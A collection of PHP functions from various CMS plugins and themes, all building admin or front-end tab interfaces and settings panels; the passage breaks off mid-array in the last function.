"private function createTab()\n {\n try {\n if (LengowMain::compareVersion()) {\n $tabParent = new Tab();\n $tabParent->name[Configuration::get('PS_LANG_DEFAULT')] = 'Lengow';\n $tabParent->module = 'lengow';\n $tabParent->class_name = 'AdminLengow';\n $tabParent->id_parent = 0;\n $tabParent->add();\n } else {\n $tabParent = new Tab(Tab::getIdFromClassName('AdminCatalog'));\n $tab = new Tab();\n $tab->name[Configuration::get('PS_LANG_DEFAULT')] = 'Lengow';\n $tab->module = 'lengow';\n $tab->class_name = 'AdminLengowHome14';\n $tab->id_parent = $tabParent->id;\n $tab->add();\n $tabParent = $tab;\n }\n foreach ($this->tabs as $name => $values) {\n if (_PS_VERSION_ < '1.5' && $values['name'] === 'AdminLengowHome') {\n continue;\n }\n $tab = new Tab();\n if (_PS_VERSION_ < '1.5') {\n $tab->class_name = $values['name'] . '14';\n $tab->id_parent = $tabParent->id;\n } else {\n $tab->class_name = $values['name'];\n $tab->id_parent = $tabParent->id;\n $tab->active = $values['active'];\n }\n $tab->module = $this->lengowModule->name;\n $languages = Language::getLanguages(false);\n foreach ($languages as $language) {\n $tab->name[$language['id_lang']] = LengowMain::decodeLogMessage($name, $language['iso_code']);\n }\n $tab->add();\n LengowMain::log(\n LengowLog::CODE_INSTALL,\n LengowMain::setLogMessage('log.install.install_tab', array('class_name' => $tab->class_name))\n );\n }\n return true;\n } catch (Exception $e) {\n return false;\n }\n }",
"public function jobs()\n {\n $this->validateManagerType('dtc_queue.manager.job');\n $this->checkDtcGridBundle();\n $managerType = $this->container->getParameter('dtc_queue.manager.job');\n $rendererFactory = $this->container->get('dtc_grid.renderer.factory');\n $renderer = $rendererFactory->create('datatables');\n $gridSource = $this->container->get('dtc_queue.grid_source.jobs_waiting.'.('mongodb' === $managerType ? 'odm' : $managerType));\n $renderer->bind($gridSource);\n $params = $renderer->getParams();\n $this->addCssJs($params);\n\n $params['worker_methods'] = $this->container->get('dtc_queue.manager.job')->getWorkersAndMethods();\n $params['prompt_message'] = 'This will archive all non-running jobs';\n\n return $this->render('@DtcQueue/Queue/jobs.html.twig', $params);\n }",
"function __construct()\n\t{\n\t\tparent::__construct(\n\t\t\t'jetty_widget_horizontal_tab',\n\t\t\t__('Jetty Horizontal Tabs', 'jetty'),\n\t\t\tarray( 'description' => __( 'This widget for display horizontal tab on certain page', 'jetty' ), )\n\t\t);\n\t}",
"function echotheme_tab_func( $atts, $content = null ) {\n extract(shortcode_atts(array(\n\t 'title'\t=> '',\n ), $atts));\n global $tabs;\n $tabs[] = array('title' => $title, 'content' => trim(wpautop(do_shortcode($content))));\n return $tabs;\n}",
"public function page_content() {\n\t\t$tab = empty( $_REQUEST['tab'] ) ? 'new' : wp_strip_all_tags( wp_unslash( $_REQUEST['tab'] ) ); // Input var okay.\n\t\t$paged = ! empty( $_REQUEST['paged'] ) ? (int) $_REQUEST['paged'] : 1; // Input var okay.\n\n\t\t$tab = esc_attr( $tab );\n\t\t$paged = esc_attr( $paged );\n\n\t\t$filters = _appthemes_get_addons_mp_page_args( $this->args['page_slug'], 'filters' );\n\t\t$defaults = _appthemes_get_addons_mp_page_args( $this->args['page_slug'], 'defaults' );\n\n\t\t$args = array(\n\t\t\t'tab' => $tab,\n\t\t\t'page' => $paged,\n\t\t\t'filters' => $filters,\n\t\t\t'defaults' => $defaults,\n\t\t);\n\n\t\t$table = $this->create_list_table( $this->args['page_slug'], $this->args['parent'], $args );\n\n\t\t// Outputs the tabs, filters and search bar.\n\t\t$table->views();\n\n\t\t/**\n\t\t * Fires on the Add-ons browser tab after the top navigation bar.\n\t\t *\n\t\t * The dynamic part of the hook name refers to the tab slug (i.e. new or popular)\n\t\t *\n\t\t * @param APP_Addons_List_Table $table The content generator instance.\n\t\t */\n\t\tdo_action( \"appthemes_addons_mp_{$tab}\", $table );\n\t}",
"protected function init_tabs() {\r\n\t\t$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'firstrun' ), $_SERVER['REQUEST_URI'] );\r\n\r\n\t\tadd_action( 'qc_settings_head', 'qc_status_colors_css' );\r\n\t\tadd_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );\r\n\r\n\t\t$this->tabs->add( 'general', __( 'General', APP_TD ) );\r\n\r\n\t\t$this->tab_sections['general']['main'] = array(\r\n\t\t\t'title' => __( 'General Settings', APP_TD ),\r\n\t\t\t'fields' => array(\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'title' => __( 'Permissions', APP_TD ),\r\n\t\t\t\t\t'type' => 'radio',\r\n\t\t\t\t\t'name' => 'assigned_perms',\r\n\t\t\t\t\t'values' => array(\r\n\t\t\t\t\t\t'protected' => __( 'Users can only view their own tickets and tickets they are assigned to.', APP_TD ),\r\n\t\t\t\t\t\t'read-only' => __( 'Users can view all tickets.', APP_TD ),\r\n\t\t\t\t\t\t'read-write' => __( 'Users can view and updated all tickets.', APP_TD ),\r\n\t\t\t\t\t),\r\n\t\t\t\t),\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'title' => __( 'Lock Site from Visitors', APP_TD ),\r\n\t\t\t\t\t'name' => 'lock_site',\r\n\t\t\t\t\t'type' => 'checkbox',\r\n\t\t\t\t\t'desc' => __( 'Yes', APP_TD ),\r\n\t\t\t\t\t'tip' => __( 'Visitors will be asked to login, and will not be able to browse site. Also content of the sidebars and menus will be hidden.', APP_TD ),\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t);\r\n\r\n\t\t$this->tab_sections['general']['states'] = array(\r\n\t\t\t'title' => __( 'States', APP_TD ),\r\n\t\t\t'fields' => array(\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'title' => __( 'Default State', APP_TD ),\r\n\t\t\t\t\t'desc' => __( 'This state will be selected by default when creating a ticket.', APP_TD ),\r\n\t\t\t\t\t'type' => 'select',\r\n\t\t\t\t\t'sanitize' => 'absint',\r\n\t\t\t\t\t'name' => 'ticket_status_new',\r\n\t\t\t\t\t'values' => $this->ticket_states(),\r\n\t\t\t\t),\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'title' => __( 'Resolved State', APP_TD ),\r\n\t\t\t\t\t'desc' => __( 'Tickets in this state are assumed to no longer need attention.', APP_TD ),\r\n\t\t\t\t\t'type' => 'select',\r\n\t\t\t\t\t'sanitize' => 'absint',\r\n\t\t\t\t\t'name' => 'ticket_status_closed',\r\n\t\t\t\t\t'values' => $this->ticket_states(),\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t);\r\n\t\t$this->tab_sections['general']['colors'] = array(\r\n\t\t\t'fields' => $this->status_colors_options(),\r\n\t\t\t'renderer' => array( $this, 'render_status_colors' ),\r\n\t\t);\r\n\r\n\t\t$this->tab_sections['general']['modules'] = array(\r\n\t\t\t'title' => __( 'Modules', APP_TD ),\r\n\t\t\t'fields' => array(\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'title' => __( 'Enable Modules', APP_TD ),\r\n\t\t\t\t\t'type' => 'checkbox',\r\n\t\t\t\t\t'name' => 'modules',\r\n\t\t\t\t\t'values' => array(\r\n\t\t\t\t\t\t'assignment' => __( 'Assignment', APP_TD ),\r\n\t\t\t\t\t\t'attachments' => __( 'Attachments', APP_TD ),\r\n\t\t\t\t\t\t'categories' => __( 'Categories', APP_TD ),\r\n\t\t\t\t\t\t'changesets' => __( 'Changesets', APP_TD ),\r\n\t\t\t\t\t\t'milestones' => __( 'Milestones', APP_TD ),\r\n\t\t\t\t\t\t'priorities' => __( 'Priorities', APP_TD ),\r\n\t\t\t\t\t\t'tags' => __( 'Tags', APP_TD ),\r\n\t\t\t\t\t),\r\n\t\t\t\t\t'tip' => __( 'Choose the modules that you want to use on your site.', APP_TD ),\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t);\r\n\r\n\t}",
"private function createTablesTab()\n {\n $tab = $this->createTab(\n 'tables_tab',\n '__responsive_tab_tables__',\n [\n 'attributes' => [\n 'autoScroll' => true,\n ],\n ]\n );\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 200]);\n $fieldSetTables = $this->createFieldSet(\n 'tables_fieldset',\n '__responsive_tab_tables_fieldset_tables__',\n ['attributes' => $attributes]\n );\n\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'panel-table-header-bg',\n '@panel-table-header-bg',\n $this->themeColorDefaults['panel-table-header-bg']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'panel-table-header-color',\n '@panel-table-header-color',\n $this->themeColorDefaults['panel-table-header-color']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'table-row-bg',\n '@table-row-bg',\n $this->themeColorDefaults['table-row-bg']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'table-row-color',\n '@table-row-color',\n $this->themeColorDefaults['table-row-color']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'table-row-highlight-bg',\n '@table-row-highlight-bg',\n $this->themeColorDefaults['table-row-highlight-bg']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'table-header-bg',\n '@table-header-bg',\n $this->themeColorDefaults['table-header-bg']\n )\n );\n $fieldSetTables->addElement(\n $this->createColorPickerField(\n 'table-header-color',\n '@table-header-color',\n $this->themeColorDefaults['table-header-color']\n )\n );\n\n $tab->addElement($fieldSetTables);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 200]);\n $fieldSetBadges = $this->createFieldSet(\n 'badges_fieldset',\n '__responsive_tab_tables_fieldset_badges__',\n ['attributes' => $attributes]\n );\n\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-discount-bg',\n '@badge-discount-bg',\n $this->themeColorDefaults['badge-discount-bg']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-discount-color',\n '@badge-discount-color',\n $this->themeColorDefaults['badge-discount-color']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-newcomer-bg',\n '@badge-newcomer-bg',\n $this->themeColorDefaults['badge-newcomer-bg']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-newcomer-color',\n '@badge-newcomer-color',\n $this->themeColorDefaults['badge-newcomer-color']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-recommendation-bg',\n '@badge-recommendation-bg',\n $this->themeColorDefaults['badge-recommendation-bg']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-recommendation-color',\n '@badge-recommendation-color',\n $this->themeColorDefaults['badge-recommendation-color']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-download-bg',\n '@badge-download-bg',\n $this->themeColorDefaults['badge-download-bg']\n )\n );\n $fieldSetBadges->addElement(\n $this->createColorPickerField(\n 'badge-download-color',\n '@badge-download-color',\n $this->themeColorDefaults['badge-download-color']\n )\n );\n\n $tab->addElement($fieldSetBadges);\n\n return $tab;\n }",
"public function get_markup () {\r\n\t\t$data = $this->properties_to_array();\r\n\r\n\t\t// Ensure tab title\r\n\t\t// Do shortcode\r\n\t\tforeach($data['tabs'] as $index=>$tab) {\r\n\t\t\t$ttl = trim(str_replace(\"\\n\", '', $tab['title']));\r\n\t\t\tif (empty($ttl)) {\r\n\t\t\t\t$tab['title'] = 'Tab ' . ($index + 1);\r\n\t\t\t}\r\n\t\t\t$tab['content'] = $this->_do_shortcode($tab['content']);\r\n\t\t\t$data['tabs'][$index] = $tab;\r\n\t\t}\r\n\r\n\t\tif (!$data['preset']) {\r\n\t\t\t$data['preset'] = 'default';\r\n\t\t}\r\n\r\n\t\t$data['wrapper_id'] = str_replace('utabs-object-', 'wrapper-', $data['element_id']);\r\n\r\n\t\t$markup = upfront_get_template('utabs', $data, dirname(dirname(__FILE__)) . '/tpl/utabs.html');\r\n\r\n\t\t// upfront_add_element_style('upfront_tabs', array('css/utabs.css', dirname(__FILE__)));\r\n\t\tupfront_add_element_script('upfront_tabs', array('js/utabs-front.js', dirname(__FILE__)));\r\n\r\n\t\treturn $markup;\r\n\t}",
"function render_tabs( $attributes ) {\n\t\t\t\tglobal $post;\n\t\t\t\t// If a page, then do split\n\t\t\t\t// Get ids of children\n\t\t\t\t$children = get_pages( array(\n\t\t\t\t\t\t'child_of' => $post->ID\n\t\t\t\t\t\t, 'parent' => $post->ID\n\t\t\t\t\t\t, 'sort_column' => 'menu_order'\n\t\t\t\t) );\n\n\t\t\t\t$child_titles = array();\n\t\t\t\t$child_contents = \"\n\";\n// TODO: start jquery 'loading' action here.\n\n\t\t\t\t$child_tablinks = \"\n<div id='subpage-tabs' class='ui-tabs'>\n\t<ul>\n\";\n\t\t\t\tforeach ( $children as $child ) {\n\t\t\t\t\t$child_tablinks .= \"\t\t<li><a href='#ctab-$child->ID'>$child->post_title</a></li>\n\";\n\t\t\t\t\t// Render any shortcodes\n\t\t\t\t\t$new_content = do_shortcode( $child->post_content );\n\t\t\t\t\t$child_contents .= \"<div id='ctab-$child->ID' class='ui-tabs-hide'>\n$new_content\n</div>\n\";\n\t\t\t\t}\n\t\t\t\t$child_tablinks .= \"\t</ul>\n\";\n\t\t\t\t$child_contents .= \"</div>\n<script type='text/javascript'>\n/*<![CDATA[*/\njQuery(\n\tfunction(){\n\t\tjQuery('#subpage-tabs').tabs();\n }\n);\n/*]]>*/\n</script>\n\";\n// TODO: destroy jquery 'loading' action here.\n\n\t\t\t\t$content = $child_tablinks . $child_contents;\n\t\t\t\treturn $content;\n\t\t}",
"private function createTab() {\n\t\t$moduleToken = t3lib_formprotection_Factory::get()->generateToken('moduleCall', self::MODULE_NAME);\n\t\treturn $this->doc->getTabMenu(\n\t\t\tarray('M' => self::MODULE_NAME, 'moduleToken' => $moduleToken, 'id' => $this->id),\n\t\t\t'tab',\n\t\t\tself::IMPORT_TAB,\n\t\t\tarray(self::IMPORT_TAB => $GLOBALS['LANG']->getLL('import_tab'))\n\t\t\t) . $this->doc->spacer(5);\n\t}",
"public function registerTabs()\n {\n\n Tab::put('promotion.promotion-code', function (TabItem $tab) {\n $tab->key('promotion.promotion-code.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::promotion.promotion-code._fields');\n });\n\n Tab::put('catalog.product', function (TabItem $tab) {\n $tab->key('catalog.product.info')\n ->label('avored::system.basic_info')\n ->view('avored::catalog.product.cards._fields');\n });\n\n Tab::put('catalog.product', function (TabItem $tab) {\n $tab->key('catalog.product.image')\n ->label('avored::system.images')\n ->view('avored::catalog.product.cards.images');\n });\n\n Tab::put('catalog.product', function (TabItem $tab) {\n $tab->key('catalog.product.property')\n ->label('avored::system.property')\n ->view('avored::catalog.product.cards.property');\n });\n\n // Tab::put('catalog.product', function (TabItem $tab) {\n // $tab->key('catalog.product.attribute')\n // ->label('avored::system.tab.attribute')\n // ->view('avored::catalog.product.cards.attribute');\n // });\n\n /****** CATALOG CATEGORY TABS *******/\n Tab::put('catalog.category', function (TabItem $tab) {\n $tab->key('catalog.category.info')\n ->label('avored::system.basic_info')\n ->view('avored::catalog.category._fields');\n });\n\n /****** CATALOG PROPERTY TABS *******/\n Tab::put('catalog.property', function (TabItem $tab) {\n $tab->key('catalog.property.info')\n ->label('avored::system.basic_info')\n ->view('avored::catalog.property._fields');\n });\n\n /****** CATALOG ATTRIBUTE TABS *******/\n Tab::put('catalog.attribute', function (TabItem $tab) {\n $tab->key('catalog.attribute.info')\n ->label('avored::system.basic_info')\n ->view('avored::catalog.attribute._fields');\n });\n\n /******CMS PAGES TABS *******/\n Tab::put('cms.page', function (TabItem $tab) {\n $tab->key('cms.page.info')\n ->label('avored::system.basic_info')\n ->view('avored::cms.page._fields');\n });\n\n /******ORDER ORDER STATUS TABS *******/\n Tab::put('order.order-status', function (TabItem $tab) {\n $tab->key('order.order-status.info')\n ->label('avored::system.basic_info')\n ->view('avored::order.order-status._fields');\n });\n\n /****** CUSTOMER GROUPS TABS *******/\n Tab::put('user.customer-group', function (TabItem $tab) {\n $tab->key('user.customer-group.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::user.customer-group._fields');\n });\n\n Tab::put('user.customer', function (TabItem $tab) {\n $tab->key('user.customer.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::user.customer._fields');\n });\n\n Tab::put('user.customer', function (TabItem $tab) {\n $tab->key('user.customer.address')\n ->label('avored::system.addresses')\n ->view('avored::user.customer._addresses');\n });\n\n Tab::put('user.address', function (TabItem $tab) {\n $tab->key('user.customer.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::user.customer.show');\n });\n Tab::put('user.address', function (TabItem $tab) {\n $tab->key('user.customer.address')\n ->label('avored::system.addresses')\n ->view('avored::user.address._fields');\n });\n\n /******USER ADMIN USER TABS *******/\n Tab::put('user.staff', function (TabItem $tab) {\n $tab->key('user.staff.info')\n ->label('avored::system.basic_info')\n ->view('avored::user.staff._fields');\n });\n Tab::put('user.subscriber', function (TabItem $tab) {\n $tab->key('user.subscriber.info')\n ->label('avored::system.basic_info')\n ->view('avored::user.subscriber._fields');\n });\n\n /******SYSTEM CURRENCY TABS *******/\n Tab::put('system.currency', function (TabItem $tab) {\n $tab->key('system.currency.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::system.currency._fields');\n });\n\n /******SYSTEM STATE TABS *******/\n Tab::put('system.state', function (TabItem $tab) {\n $tab->key('system.state.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::system.state._fields');\n });\n\n /******SYSTEM ROLE TABS *******/\n Tab::put('system.role', function (TabItem $tab) {\n $tab->key('system.role.info')\n ->label('avored::system.basic_info')\n ->view('avored::system.role._fields');\n });\n\n /******SYSTEM ROLE TABS *******/\n Tab::put('system.language', function (TabItem $tab) {\n $tab->key('system.language.info')\n ->label('avored::system.tab.basic_info')\n ->view('avored::system.language._fields');\n });\n\n /******SYSTEM CONFIGURATION TABS *******/\n Tab::put('system.configuration', function (TabItem $tab) {\n $tab->key('system.configuration.basic')\n ->label('avored::system.basic_configuration')\n ->view('avored::system.configuration.cards.basic');\n });\n\n // Tab::put('system.configuration', function (TabItem $tab) {\n // $tab->key('system.configuration.user')\n // ->label('avored::system.tab.user_configuration')\n // ->view('avored::system.configuration.cards.user');\n // });\n // Tab::put('system.configuration', function (TabItem $tab) {\n // $tab->key('system.configuration.tax')\n // ->label('avored::system.tax_configuration')\n // ->view('avored::system.configuration.cards.tax');\n // });\n\n // Tab::put('system.configuration', function (TabItem $tab) {\n // $tab->key('system.configuration.shipping')\n // ->label('avored::system.tab.shipping_configuration')\n // ->view('avored::system.configuration.cards.shipping');\n // });\n // Tab::put('system.configuration', function (TabItem $tab) {\n // $tab->key('system.configuration.payment')\n // ->label('avored::system.tab.payment_configuration')\n // ->view('avored::system.configuration.cards.payment');\n // });\n }",
"function add_from_tab_content () {\n require_once dirname(__FILE__).'/templates/form-tab-content.php';\n }",
"function cd_status_cake_page(){\n ?>\n <div class=\"wrap\">\n <h2>Client Dash Status Cake</h2>\n <?php\n cd_create_tab_page(array(\n 'tabs' => array(\n 'Status' => 'status',\n 'Settings' => 'settings',\n 'Test' => 'test'\n )\n ));\n ?>\n </div><!--.wrap-->\n <?php\n}",
"public function createChildControls ()\n\t{\n\t\tif ($this->_container===null)\n\t\t{\n\t\t\t$this->_container=Prado::CreateComponent('System.Web.UI.ActiveControls.TActivePanel');\n\t\t\t$this->_container->setId($this->getId(false).'_content');\n\t\t\tparent::getControls()->add($this->_container);\n\t\t}\n\t}",
"private function _createTab()\r\n {\r\n $response = true;\r\n\r\n // First check for parent tab\r\n $parentTabID = Tab::getIdFromClassName('AdminFieldMenu');\r\n\r\n if ($parentTabID) {\r\n $parentTab = new Tab($parentTabID);\r\n } else {\r\n $parentTab = new Tab();\r\n $parentTab->active = 1;\r\n $parentTab->name = array();\r\n $parentTab->class_name = \"AdminFieldMenu\";\r\n foreach (Language::getLanguages() as $lang){\r\n $parentTab->name[$lang['id_lang']] = \"Fieldthemes\";\r\n }\r\n $parentTab->id_parent = 0;\r\n $parentTab->module = '';\r\n $response &= $parentTab->add();\r\n }\r\n\t// Check for parent tab2\r\n\t\t\t$parentTab_2ID = Tab::getIdFromClassName('AdminFieldMenuSecond');\r\n\t\t\tif ($parentTab_2ID) {\r\n\t\t\t\t$parentTab_2 = new Tab($parentTab_2ID);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$parentTab_2 = new Tab();\r\n\t\t\t\t$parentTab_2->active = 1;\r\n\t\t\t\t$parentTab_2->name = array();\r\n\t\t\t\t$parentTab_2->class_name = \"AdminFieldMenuSecond\";\r\n\t\t\t\tforeach (Language::getLanguages() as $lang) {\r\n\t\t\t\t\t$parentTab_2->name[$lang['id_lang']] = \"FieldThemes Configure\";\r\n\t\t\t\t}\r\n\t\t\t\t$parentTab_2->id_parent = $parentTab->id;\r\n\t\t\t\t$parentTab_2->module = '';\r\n\t\t\t\t$response &= $parentTab_2->add();\r\n\t\t\t}\r\n\t\t\t// Created tab\r\n $tab = new Tab();\r\n $tab->active = 1;\r\n $tab->class_name = \"AdminFieldFeaturedProductSlider\";\r\n $tab->name = array();\r\n foreach (Language::getLanguages() as $lang){\r\n $tab->name[$lang['id_lang']] = \"Configure featured products\";\r\n }\r\n $tab->id_parent = $parentTab_2->id;\r\n $tab->module = $this->name;\r\n $response &= $tab->add();\r\n\r\n return $response;\r\n }",
"function __construct() {\r\n\t\tparent::__construct(\r\n\t\t\t'tabs', // Base ID\r\n\t\t\t'Hyunmoo: Tabs Widget', // Name\r\n\t\t\tarray( 'description' => __( 'Popular posts, recent post and comments.', 'hyunmoo' ) ) // Args\r\n\t\t);\r\n\t}",
"protected function register_dynamic_templates()\n\t\t{\n\t\t\t\n\t\t\t/**\n\t\t\t * Content Tab\n\t\t\t * ===========\n\t\t\t */\n\t\t\t\n\t\t\t$c = array(\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name'\t\t=> __( 'Button Title', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc'\t\t=> __( 'This is the text that appears on your button.', 'avia_framework' ),\n\t\t\t\t\t\t\t'id'\t\t=> 'label',\n\t\t\t\t\t\t\t'type'\t\t=> 'input',\n\t\t\t\t\t\t\t'std'\t\t=> __( 'Click me', 'avia_framework' ),\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'tmpl_set_default'\t=> false\n\t\t\t\t\t\t),\n\t\t\t\t\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name'\t\t=> __( 'Additional Description Position', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc'\t\t=> __( 'Select, where to show an additional description', 'avia_framework' ),\n\t\t\t\t\t\t\t'id'\t\t=> 'description_pos',\n\t\t\t\t\t\t\t'type'\t\t=> 'select',\n\t\t\t\t\t\t\t'std'\t\t=> '',\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'subtype'\t=> array(\t\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'No description', 'avia_framework' )\t\t\t=> '',\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'Description above title', 'avia_framework' )\t=> 'above',\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'Description below title', 'avia_framework' )\t=> 'below',\n\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'name' \t=> __( 'Additional Description', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc' \t=> __( 'Enter an additional description', 'avia_framework' ),\n\t\t\t\t\t\t\t'id' \t=> 'content',\n\t\t\t\t\t\t\t'type' \t=> 'textarea',\n\t\t\t\t\t\t\t'std' \t=> '',\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'tmpl_set_default'\t=> false,\n\t\t\t\t\t\t\t'required'\t=> array( 'description_pos', 'not', '' )\n\t\t\t\t\t\t),\n\t\t\t\t\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name' \t=> __( 'Button Icon', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc' \t=> __( 'Should an icon be displayed at the left side of the button', 'avia_framework' ),\n\t\t\t\t\t\t\t'id' \t=> 'icon_select',\n\t\t\t\t\t\t\t'type' \t=> 'select',\n\t\t\t\t\t\t\t'std' \t=> 'yes-left-icon',\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'subtype'\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'No Icon', 'avia_framework' )\t\t\t\t\t\t\t\t\t\t=> 'no',\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'Yes, display Icon to the left of the title', 'avia_framework' )\t=> 'yes-left-icon' ,\t\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'Yes, display Icon to the right of the title', 'avia_framework' )\t=> 'yes-right-icon',\n\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t),\n\t\t\t\t\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name' \t=> __( 'Button Icon', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc' \t=> __( 'Select an icon for your Button below', 'avia_framework' ),\n\t\t\t\t\t\t\t'id' \t=> 'icon',\n\t\t\t\t\t\t\t'type' \t=> 'iconfont',\n\t\t\t\t\t\t\t'std' \t=> '',\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'locked'\t=> array( 'icon', 'font' ),\n\t\t\t\t\t\t\t'required'\t=> array( 'icon_select', 'not_empty_and', 'no' )\n\t\t\t\t\t\t\t),\n\t\t\t\t\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name' \t=> __( 'Icon Visibility', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc' \t=> __( 'Check to only display icon on hover', 'avia_framework' ),\n\t\t\t\t\t\t\t'id' \t=> 'icon_hover',\n\t\t\t\t\t\t\t'type' \t=> 'checkbox',\n\t\t\t\t\t\t\t'std' \t=> '',\n\t\t\t\t\t\t\t'lockable'\t=> true,\n\t\t\t\t\t\t\t'required'\t=> array( 'icon_select', 'not_empty_and', 'no' )\n\t\t\t\t\t\t)\n\t\t\t\t\n\t\t\t\t);\n\t\t\t\n\t\t\t$template = array(\n\t\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t\t'type'\t\t\t=> 'template',\n\t\t\t\t\t\t\t\t'template_id'\t=> 'toggle',\n\t\t\t\t\t\t\t\t'title'\t\t\t=> __( 'Button', 'avia_framework' ),\n\t\t\t\t\t\t\t\t'content'\t\t=> $c \n\t\t\t\t\t\t\t),\n\t\t\t\t\t);\n\t\t\t\n\t\t\tAviaPopupTemplates()->register_dynamic_template( $this->popup_key( 'content_button' ), $template );\n\t\t\t\n\t\t\t$c = array(\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'type'\t\t\t=> 'template',\n\t\t\t\t\t\t\t'template_id'\t=> 'linkpicker_toggle',\n\t\t\t\t\t\t\t'name'\t\t\t=> __( 'Button Link?', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc'\t\t\t=> __( 'Where should your button link to?', 'avia_framework' ),\n\t\t\t\t\t\t\t'subtypes'\t\t=> array( 'manually', 'single', 'taxonomy' ),\n\t\t\t\t\t\t\t'target_id'\t\t=> 'link_target',\n\t\t\t\t\t\t\t'lockable'\t\t=> true\n\t\t\t\t\t\t),\n\t\t\t\t\t\t\n\t\t\t\t);\n\t\t\t\n\t\t\tAviaPopupTemplates()->register_dynamic_template( $this->popup_key( 'content_link' ), $c );\n\t\t\t\n\t\t\t/**\n\t\t\t * Styling Tab\n\t\t\t * ===========\n\t\t\t */\n\t\t\t\n\t\t\t$c = array(\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'name'\t\t=> __( 'Button Title Attribute', 'avia_framework' ),\n\t\t\t\t\t\t\t'desc'\t\t=> __( 'Add a title attribute for this button.', 'avia_framework' ),\n\t\t\t\t\t\t\t'id'\t\t=> 'title_attr',\n\t\t\t\t\t\t\t'type'\t\t=> 'input',\n\t\t\t\t\t\t\t'std'\t\t=> '',\n\t\t\t\t\t\t\t'lockable'\t=> true\n\t\t\t\t\t\t)\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t);\n\t\t\t\n\t\t\t$template = array(\n\t\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t\t'type'\t\t\t=> 'template',\n\t\t\t\t\t\t\t\t'template_id'\t=> 'toggle',\n\t\t\t\t\t\t\t\t'title'\t\t\t=> __( 'Appearance', 'avia_framework' ),\n\t\t\t\t\t\t\t\t'content'\t\t=> $c \n\t\t\t\t\t\t\t),\n\t\t\t\t\t);\n\t\t\t\n\t\t\tAviaPopupTemplates()->register_dynamic_template( $this->popup_key( 'styling_appearance' ), $template );\n\t\t\t\n\t\t\t$c = array(\n\t\t\t\t\n\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t'type'\t\t\t=> 'template',\n\t\t\t\t\t\t\t'template_id'\t=> 'button_colors',\n\t\t\t\t\t\t\t'lockable'\t\t=> true,\n\t\t\t\t\t\t\t'ids'\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t'bg'\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'color'\t\t=> 'color',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom'\t=> 'custom',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom_id'\t=> 'custom_bg',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'gradient'\t=> 